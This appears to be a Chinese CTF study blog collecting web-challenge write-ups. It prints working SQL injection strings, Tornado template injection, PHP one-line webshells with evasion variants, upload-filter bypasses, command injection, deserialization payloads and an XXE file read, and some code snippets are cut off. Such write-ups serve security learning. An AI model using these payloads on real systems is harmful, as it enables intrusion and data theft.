/check.php?username=1' union select 1,2,3%23&password=1

备战CTF做题题解_第86张图片

回显点位为2和3,得到回显点位为2和3,查询当前数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

备战CTF做题题解_第87张图片

可知当前数据库为geek,开始爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

备战CTF做题题解_第88张图片

得到两个表名:geekuser和l0ve1ysq1,接着爆列:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

备战CTF做题题解_第89张图片

得到三个列名:id,username,password。爆数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到

Hello 2!

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{35b30d96-0920-49a9-b375-9688539f8821}'

sql[强网杯 2019]随便注

方法1

备战CTF做题题解_第90张图片

判断是否存在注入1' or 1=1 #测试,判断可能存在注入

备战CTF做题题解_第91张图片

查询字段,1' order by 1 # 发现只有两个字段,到3的时候开始报错,

备战CTF做题题解_第92张图片

准备进行回显,发现有过滤条件,

备战CTF做题题解_第93张图片

这个时候就要用到“堆叠注入”了,原理很简单,就是通过 ; 号注入多条SQL语句。

先通过show databases爆出数据库。1' ;show databases;#

备战CTF做题题解_第94张图片

得到库名"ctftraining","information_schema","mysql","performance_schema","supersqli","test"

准备爆表0'; show tables; #

备战CTF做题题解_第95张图片

得到表名"1919810931114514", "words"

我们先尝试爆words表的内容,1'; show columns from words; #

备战CTF做题题解_第96张图片

没有需要的内容,继续爆表"1919810931114514",这里学到一个新知识点,表名为数字时,要用引号包起来查询。

1'; show columns from `1919810931114514`; #

看到“flag”字段,但是没有值,这时想到,获取数据的语句为 select * from ` 1919810931114514 `

但是在最开始的时候,我们知道,会对select、update、delete、drop、insert、where进行过滤

所以需要对select进行绕过。

预处理语句+堆叠注入

知识点

PREPARE name from '[my sql sequece]'; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句

预定义语句也可以通过变量进行传递: 

SET @tn = 'hahaha'; //存储表名

SET @sql = concat('select * from ', @tn); //存储SQL语句

PREPARE name from @sql; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

本题因为对select进行了过滤,可以直接利用concat函数拆分select,也可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤

char(115,101,108,101,99,116)<----->'select'

Payload1

对select直接拆分

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

1;PREPARE hacker from concat('select', ' flag from ','F','lag');EXECUTE hacker;#

备战CTF做题题解_第97张图片

Payload2

不使用变量

1';PREPARE sqltest from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE sqltest;#

备战CTF做题题解_第98张图片

Payload3

使用变量

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE sqltest from @sqli;EXECUTE sqltest;#

备战CTF做题题解_第99张图片

END。

sql[SUCTF 2019]EasySQL

有话说在前面,这个需要联想到后端代码。。。。

进入题目:

备战CTF做题题解_第100张图片

一个输入框,查看源码发现是POST传参,

备战CTF做题题解_第101张图片

随便输入,1,1',1' order by 1 #等

备战CTF做题题解_第102张图片

备战CTF做题题解_第103张图片

发现只有输入1时有回显,说明大部分语句都被过滤了,尝试堆叠注入,1;show databases;

备战CTF做题题解_第104张图片

得到数据库后,查询表,1;show tables;

备战CTF做题题解_第105张图片

只有Flag一个表,这时候就看最后一步能不能得到flag了,1;show columns from Flag;

备战CTF做题题解_第106张图片

不出所料,难为人了,只好去寻找大神的wp寻找解决办法,看了一圈发现,需要猜到后端的源码是这样:

select $post['query']||flag from Flag(非要解释的话,在堆叠注入的时候发现结尾加不加#不影响结果,可能就是后面跟或运算的缘故)

要想办法让 ||不是逻辑或运算,官方给的 payload 是1;set sql_mode=PIPES_AS_CONCAT;select 1,拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符

还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个||相当于是将 select 1 和 select flag from flag 的结果拼接在一起

关于非预期解 : *,1

拼接一下,不难理解 :select *,1||flag from Flag

等同于select * from Flag

python模板注入[护网杯 2018]easy_tornado

题目有三个链接,分别打开查看,获得文件名 /fllllllllllllag

请求链接格式如下,并给出了filehash的计算方法 md5(cookie_secret+md5(filename))

/file?filename=/flag.txt&filehash=b3fa6379671c6369b508913476fba734

但是如何获取cookie_secret?先随便传入一个

md5(filename)=3bf9f6cf685a6dd8defadabfb41a03a1

发现跳转到错误页面,并且msg参数的值会回显到屏幕上:

备战CTF做题题解_第107张图片

要正常访问/fllllllllllllag文件的内容,计算出filehash的值,需要先获取cookie_secret。网上的wp传入的是/error?msg={{handler.settings}}会打印出cookie_secret,搜索tornado框架的文档:

在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,此处就是借助handler.settings来进行访问。

handler:构建一个tornado网站,必须包含一个或者多个handler,这些handler是RequestHandler的子类。每个请求都会被映射到handler中进行处理,处理后再将结果返回给客户端。所以,hanlder可以视为客户端请求跟业务服务逻辑间的桥梁。

而RequestHandler.settings又是self.application.settings的别名;

因此handler.settings实际指向RequestHandler.application.settings,在tornado官方文档中搜索可知application.settings中保存了许多关键字参数,其中就包含cookie_secret。

访问/error?msg={{handler.settings}}得到 cookie_secret: bdc212e2-92c6-4e9f-a89c-4f8a515217a3

备战CTF做题题解_第108张图片

构建filehash:md5(cookie_secret+md5(filename)) =md5(bdc212e2-92c6-4e9f-a89c-4f8a515217a33bf9f6cf685a6dd8defadabfb41a03a1)

import hashlib
cookie_secret = 'bdc212e2-92c6-4e9f-a89c-4f8a515217a3'
filename = '/fllllllllllllag'
md51 = hashlib.md5()
md51.update(filename.encode(encoding='utf-8'))
str2 = cookie_secret + md51.hexdigest()
md52 = hashlib.md5()
md52.update(str2.encode(encoding='utf-8'))
print(md52.hexdigest())

/file?filename=/fllllllllllllag&filehash=ccd9259226d66d997cd256d4a36c30a6

BJDCTF2020]Easy MD5

MD5绕过,get+post

备战CTF做题题解_第109张图片

打开题目,提交查询没有回显,源码也没有任何提示,直接抓包。

备战CTF做题题解_第110张图片

发现这么一句Hint: select * from 'admin' where password=md5($pass,true),意思是sql查询,需要password=md5($pass,true)条件为真时,才会执行select * form admin,可md5($pass,true)是什么东西?上网查询了一下

备战CTF做题题解_第111张图片

md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6

MD5加密

276F722736C95D99E921722CF9ED621C

16位原始二进制格式

'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string

'or’6]!r,b

之后sql语言就转化为select * from 'admin' where password='or 6,总之参数等于ffifdyop,md5($pass,true)返回TRUE。抓包看一下

备战CTF做题题解_第112张图片

界面发生了变化,看一下源码

备战CTF做题题解_第113张图片

要传入参数a和b,条件是a和b值不同,但MD5加密后相等,用的是md5弱类型,为0e开头的会被识别为科学记数法,结果均为0。

•QNKCDZO

•0e830400451993494058024219903391

•s878926199a

•0e545993274517709034328855841020

•s155964671a

•0e342768416822451524974117254469

•s214587387a

•0e848240448830537924465865611904

•s214587387a

•0e848240448830537924465865611904

•s878926199a

•0e545993274517709034328855841020

•s1091221200a

•0e940624217856561557816327384675

•s1885207154a

•0e509367213418206700842008763514

于是构建payload:

http://6b8eeea7-31ae-4c3a-a7ec4dd056371915.node4.buuoj.cn:81/levels91.php?a=QNKCDZO&b=s878926199a

备战CTF做题题解_第114张图片

再次跳转,文件包涵,需要POST两个参数,MD5强比较,用MD5数组跳过就可以。param1[]=1¶m2[]=2

备战CTF做题题解_第115张图片

flag{2fa51612-4d37-4388-976e-15e84568dea3}

一句话木马

 
 
 
 
 
//容错代码 
//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
 
 
/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:h=@eval_r($_POST1); 
 
//绕过@eval_r($_POST[sb]) 
 密码:x
1.<%eval request("YouPass")%>
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>
免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>
    免杀部分网站过略<%,%>的一句话
5. 

文件上传题目

[极客大挑战 2019]Upload

过滤php后缀,

打开题目

备战CTF做题题解_第116张图片

上传文件,尝试一句话木马php文件,png文件,jpg文件只有jpg文件可以上传通过,于是构建jpg图片马:

GIF8a

题目还过滤了"

抓包修改

Content-Disposition: form-data; name="file"; filename="jspshell.phtml"

Content-Type: image/jpeg

php的后缀名也被过滤,常见的php后缀名绕过方式有 php3 php4 php5 phtml pht 这道题里可以上传phtml

备战CTF做题题解_第117张图片

[ACTF2020 新生赛]Upload

上传图片马

备战CTF做题题解_第118张图片

测试上传后,提示过滤只能上传jpg,png,gif文件,需要制作图片马

备战CTF做题题解_第119张图片

备战CTF做题题解_第120张图片

copy 2.png/b+ma.php/a ma.png

burp抓包修改文件后缀

备战CTF做题题解_第121张图片

上传成功,回显路径,蚁剑连接

备战CTF做题题解_第122张图片

[极客大挑战 2019]Knife

简单的一句话木马连接

备战CTF做题题解_第123张图片

一句话木马,直接使用蚁剑链接,

备战CTF做题题解_第124张图片

备战CTF做题题解_第125张图片

查看根目录,找到flag

备战CTF做题题解_第126张图片

备战CTF做题题解_第127张图片

END。

[SUCTF 2019]CheckIn

备战CTF做题题解_第128张图片

通过.user.ini进行绕过,首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR、PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file相当于指定一个文件,自动包含在要执行的文件前
auto_prepend_file相当于指定一个文件,自动包含在要执行的文件后

新建一个.user.ini文件,写入:auto_prepend_file=1.png

备战CTF做题题解_第129张图片

提示不是image文件,

添加文件头GIF89a

修改文件类型Content-Type: image/png

备战CTF做题题解_第130张图片

发现上传成功,构建图片码1.png

copy 2.png/b+shell.php/a 1.png

备战CTF做题题解_第131张图片

备战CTF做题题解_第132张图片

上传图片一句话木码1.jpg

备战CTF做题题解_第133张图片

发现对"

备战CTF做题题解_第134张图片

备战CTF做题题解_第135张图片

重新上传图片码,上传成功并返回路径,

uploads/c47b21fcf8f0bc8b3920541abd8024fd

备战CTF做题题解_第136张图片

进行访问url:

78823e71-ed5a-46d8-b58b-063690c04381.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd /index.php

备战CTF做题题解_第137张图片

利用hackbar进行post传参abc=phpinfo();

备战CTF做题题解_第138张图片

显示成功,通过蚁剑建立连接,

备战CTF做题题解_第139张图片

到根目录下查找flag

[MRCTF2020]你传你呢

打开题目

备战CTF做题题解_第140张图片

尝试上传一句话木马shell.php

备战CTF做题题解_第141张图片

正常上传一个图片试试,

备战CTF做题题解_第142张图片

显示成功上传,并且存放到了 /var/www/html/upload/b260bd03bc3104e3591a052c9cbb0ac8 路径下,于是考虑抓包修改文件类型。

上传成功,文件上传绕过的方法有很多, 发现能用.htaccess解析漏洞,我们先创建一个文件,文件名为.htaccess,内容为


SetHandler application/x-httpd-php

代码的意思就是,将当前目录下文件名为muma.png的文件当成php来解析,

上传该文件,抓包修改一下MIME信息

备战CTF做题题解_第143张图片

上传成功,制作图片马、文件名和.htaccess文件里面一致

copy 2.png/b+shell.php/a muma.png

备战CTF做题题解_第144张图片

/a 就是把文件内容以 ASCII 编码方式进行处理。

/b 这样就把 shell.php 加到 1.jpg 的结尾生成了新文件。

上传图片木马muma.png

备战CTF做题题解_第145张图片

上传成功,然后复制一下回显的地址,并将之前的连接拼起来,得到后面的url

http://3e683df2-26e7-4cac-b721-e1c0c46399f7.node4.buuoj.cn:81/upload/b260bd03bc3104e3591a052c9cbb0ac8/muma.png

然后上蚁剑,添加数据

备战CTF做题题解_第146张图片

备战CTF做题题解_第147张图片

备战CTF做题题解_第148张图片

根目录下找到flag文件,打开获得flag{b9d55978-634c-4c2e-b296-4ff9646a5ebb}

END。

http://gz2vip.91tunnel.com:10055/web1/flag.php

备战CTF做题题解_第149张图片

直接看代码只是传一个url参数,然后用exec函数输出,

备战CTF做题题解_第150张图片

方法1:

传入参数?url=ls

备战CTF做题题解_第151张图片

尝试使用windows命令,?url=dir

备战CTF做题题解_第152张图片

使用命令:

http://gz2vip.91tunnel.com:10055/web1/flag.php?url=dir > 1.txt

把 dir 的命定重定向到 1.txt

通过访问 1.txt 可以看到目录内容

备战CTF做题题解_第153张图片

访问 flaagg.txt 得到 flag

备战CTF做题题解_第154张图片

方法2:

写入一句话木马文件

gz2vip.91tunnel.com:10055/web1/flag.php?url=echo " " >sss.php

访问sss.php

备战CTF做题题解_第155张图片

显示一句话木马已经执行,通过蚁剑连接http://gz2vip.91tunnel.com:10055/web1/sss.php

备战CTF做题题解_第156张图片

备战CTF做题题解_第157张图片

http://gz2vip.91tunnel.com:10055/web3/de/uploads

备战CTF做题题解_第158张图片

通过查找百度得到网站的后台名为/dede/


当然也可以通过御剑进行扫描目录

通过御剑扫描目录

备战CTF做题题解_第159张图片

访问gz2vip.91tunnel.com:10055/web3/de/uploads/dede/

备战CTF做题题解_第160张图片

尝试口令:admin admin,成功登陆

备战CTF做题题解_第161张图片

打开文件式管理器找到文件上传接口

备战CTF做题题解_第162张图片

上传一句话木马文件muma.php

备战CTF做题题解_第163张图片

找到文件上传的目录

备战CTF做题题解_第164张图片

添加到蚁剑进行访问

备战CTF做题题解_第165张图片

备战CTF做题题解_第166张图片

PHP函数注入题目

PHP函数注入题目

备战CTF做题题解_第167张图片

create_function()简介

适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

create_function(string $args,string $code)

string $args 声明的函数变量部分

string $code 执行的方法代码部分

基本使用

代码片段

备战CTF做题题解_第168张图片

如何利用 create_function() 代码注入

";
echo "==============================";
echo "
"; $f1 = create_function('$a',$str2); echo "
"; echo "=============================="; ?>

漏洞利用:

http://127.0.0.1/2.php?id=2;}phpinfo();/*

/*是为了注释之后的代码

执行函数为的源代码:

function fT($a) {
echo "test".$a;
}

注入后代码:

function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}

再看题目源码:

  

解题方法一:

POST:q=checked&c=}eval(system("type flag.php"));/*

备战CTF做题题解_第169张图片

解题方法二:

URL:http://gz2vip.91tunnel.com:10055/web5/c.php/?X=system("type flag.php");

POST:q=checked&c=}eval($_GET[X]);/*

备战CTF做题题解_第170张图片

PHP弱类型比较[MRCTF2020]Ez_bypass

查看源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))//函数用于检测变量是否为数字或数字字符串
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

is_numeric — 检测变量是否为数字或数字字符串

is_numeric ( mixed$var ) : bool

如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

MD5 === 数组绕过

源码中:

!is_numeric ( mixed$var )结果取反

md5($id) === md5($gg)如果参数id和gg数据类型为数组的话,md5加密为NULL则绕过

$passwd==1234567弱比较,== 弱类型判断,当判断两者是否值是否相等时,若比较值对象为数字时,1234567a 会截取数字部分。

所以GET:?id[]=1&gg[]=2

POST:passwd=1234567a

备战CTF做题题解_第171张图片

END。

PHP反序列化题目

[极客大挑战 2019]PHP

PHP序列化和反序列化 文件备份题

一进入题目,就有页面提示我们“所以我有一个良好的备份网站的习惯”

备战CTF做题题解_第172张图片

所以我们尝试着输入网站源码备份文件,看看能否访问

常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar,bak

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp

发现www.zip可以成功获得网站源码备份

或者用dirsearch或dirmap扫出来

py3 dir.py -u http://3c25afd0-8c4a-4832-8e11-f182ffcccae4.node3.buuoj.cn/ -e * -w db/dir.txt

-u+地址 -e选择语言 -w选择字典

下载后,发现有3个php文件

备战CTF做题题解_第173张图片

我们先访问一下 index.php文件,发现:

发现文件包含 class.php 文件 并且文件是get 传参,参数为 select然后把它反序列化,反序列化的过程中会用到class.php

unserialize():

unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。

若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)

访问 class.php

username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

发现php文件中包含 flag.php

我们要调用到__destruct()并且password=100,username=admin才能echo $flag
怎么调用到它呢?其实不用我们动手,在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)意思就是传入参数select后,就会自动调用__construct,__wakeup方法

引用:浅谈反序列漏洞

魔法函数

通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:

__construct 当一个对象创建时自动调用

__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)

__sleep() 使**用serialize()函数时触发

__wakeup 使用unserialse()**函数时会自动调用

__toString 当一个对象被当作一个字符串被调用。

__call() 在对象上下文中调用不可访问的方法时触发

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据//调用私有属性时使用

__set() 用于将数据写入不可访问的属性

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

在本题的关键,就是username的赋值 因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 并且在一开始我们要改变 username的赋值

当成员属性数目大于实际数目时可绕过wakeup方法

在这里,我们可以将 php 代码 以文本的方式显示

[推荐网站](php代码在线测试,php在线执行 (dooccn.com))

构造序列化,php代码:

username=$username;
        $this->password=$password;
    }
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "
"; $b = serialize($a); echo $b."
";//输出序列化 echo urlencode($b);//输出url编码后的序列化 ?>

序列化后是这样的:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了",改为%22

O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

备战CTF做题题解_第174张图片

[网鼎杯 2020 朱雀组]phpweb

备战CTF做题题解_第175张图片

界面一直在显示系统时间不断刷新,查看源码,

备战CTF做题题解_第176张图片

发现有两个参数,name=func和name=p,应该是调用了date函数,进行了时间回显,通过burp抓包

备战CTF做题题解_第177张图片

修改参数值,使用system函数,

备战CTF做题题解_第178张图片

显示Hacker...使用 read 函数, 发现提示, 函数名无效, 相关函数, readfile,发现获取到源码。

备战CTF做题题解_第179张图片

func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

过滤了一系列函数,php 内的" \ "在做代码执行的时候, 会识别特殊字符串, 绕过黑名单。
另外 test 类, 参数可控, 又有__destruct() 这种魔法函数, 可以利用可以用它构造反序列化绕过黑名单。

方法1:

\绕过,直接执行命令。func=\system&p=ls /,根目录下没有flag

备战CTF做题题解_第180张图片

继续system("find / -name flag"):查找所有文件名匹配flag的文件,func=\system&p=find / -name flag*

备战CTF做题题解_第181张图片

查看文件/tmp/flagoefiu4r93,func=\system&p=cat /tmp/flagoefiu4r93

备战CTF做题题解_第182张图片

方法2:

进行php反序列化

func=$func;
        $this->p=$p;
    }
}
$t = new Test("system","ls -alh /");
//-l : (list)以列表形式显示
//-a: (all)显示全部文件, 包括隐藏文件
//-h: (human readable)人性化形式显示文件大小
$T = serialize($t);
echo $T."
"; echo urlencode($T); ?>

构造查看根目录的payload,由于以p提交的为序列化内容,func需设置为unserialize:

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:9:"ls -alh /";}
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22p%22%3Bs%3A9%3A%22ls+-alh+%2F%22%3B%7D

备战CTF做题题解_第183张图片

发现根目录下没有flag文件,构造查找命令,p="find / -name flag*";

$t = new Test("system","find / -name flag*");

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22p%22%3Bs%3A18%3A%22find+%2F+-name+flag%2A%22%3B%7D

备战CTF做题题解_第184张图片

找到目标文件 /tmp/flagoefiu4r93 p=cat /tmp/flagoefiu4r93;

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3B%7D

备战CTF做题题解_第185张图片

[网鼎杯 2020 青龙组]AreUSerialz

代码审计+反序列化

process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

查看is_valid函数,对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

查看代码,该段代码首先通过get方法获得字符串str,若str中没有不可打印的字符串后,对字符串执行反序列化操作。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

因此我们再看一遍FileHandler类中的内容。

//定义三个变量,protected的意思是变量只能在内部使用,不能在外部使用
    protected $op;
    protected $filename;
    protected $content;
//魔术方法__construct(),当这个类被创建的时候自动调用
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();

查看process()方法

 public function process() {
        if($this->op == "1") {//op==1时,执行write()
            $this->write();
        } else if($this->op == "2") {//op==2时,执行read(),并打印出来
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
  • 查看write()这块可以看到有这几个函数 isset()、 file_put_contents()、strlen()、 die()。
    isset(): 函数用于检测变量是否已设置并且非 NULL。 如果指定变量存在且不为 NULL, 则返回 TRUE, 否则返回 FALSE。
  • strlen(): 返回字符串的长度
    file_put_contents(): 函数把一个字符串写入文件中。
    die(): 退出当前脚本
private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

查看read()这块又有个方法 file_get_contents(), 意思是把整个文件读到一个字符串中。我们肯定是要读取 flag.php 文件的, filename 参数设置成 flag.php。

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

可以看到构析函数中,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。

在process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。

若想读取 flag, 需要绕过 process()方法的判断, 防止 op 被置一。 于是可以传入一个“空格+2”, 绕过 process()方法的判断构造序列化后的值

";
echo urlencode($T);
?>

本地环境测试

备战CTF做题题解_第186张图片

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";N;}

payload:?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";N;}

备战CTF做题题解_第187张图片

查看源码

备战CTF做题题解_第188张图片

XXE漏洞题目

[NCTF2019]Fake XML cookbook

备战CTF做题题解_第189张图片

抓包可以看到类型是xml

备战CTF做题题解_第190张图片

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

根据抓包信息,页面以POST的方式传输了XML数据,此时我们可以添加一个恶意外部实体,在原本的XML数据里进行引用,以此达到攻击的目的。

基本格式定义 :

//xml声明
]>//DTD部分

  
    ABC
    XXXXX
    &xxe;

, 意思是用于声明 XML 文
档的版本和编码, 是可选的, 必须放在文档开头。
DTD, 文档类型定义(DTD) 可定义合法的 XML 文档构建模块。 DTD 可被成行地声明
与 XML 文档中, 也可作为一个外部引用
实体ENTITY(类似于其他语言中的变量定义) , 如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似语言中的一个变量的应用)即一个 ENTITY, 然后再文档中调用他,XML 定义了两种类型的 ENTITY。一种在 XML 文档中使用,一种作为参数再 DTD 文件中使用。
ENTITY 定义的语法

备战CTF做题题解_第191张图片



]>
&admin;123456

其中a 表示此文档是note类型的文档。ENTITY中的内容表示声明了一个名为admin的外部实体(含SYSTEM就是外部实体),实体内容为读取/etc/passwd信息。

定义实体后,在已经存在的< username>标签中可以进行调用,使用&admin;即可

备战CTF做题题解_第192张图片

其中file://是本地文件传输协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或IE地址栏中键入:file:///f:/flash/1.swf并回车

一般flag文件在根目录下,所以直接使用:file:///flag即可

备战CTF做题题解_第193张图片

flag{3ae8e204-765d-4cf0-8475-b4aacfa1b54e}

你可能感兴趣的:(CTF,python,java,php,sql)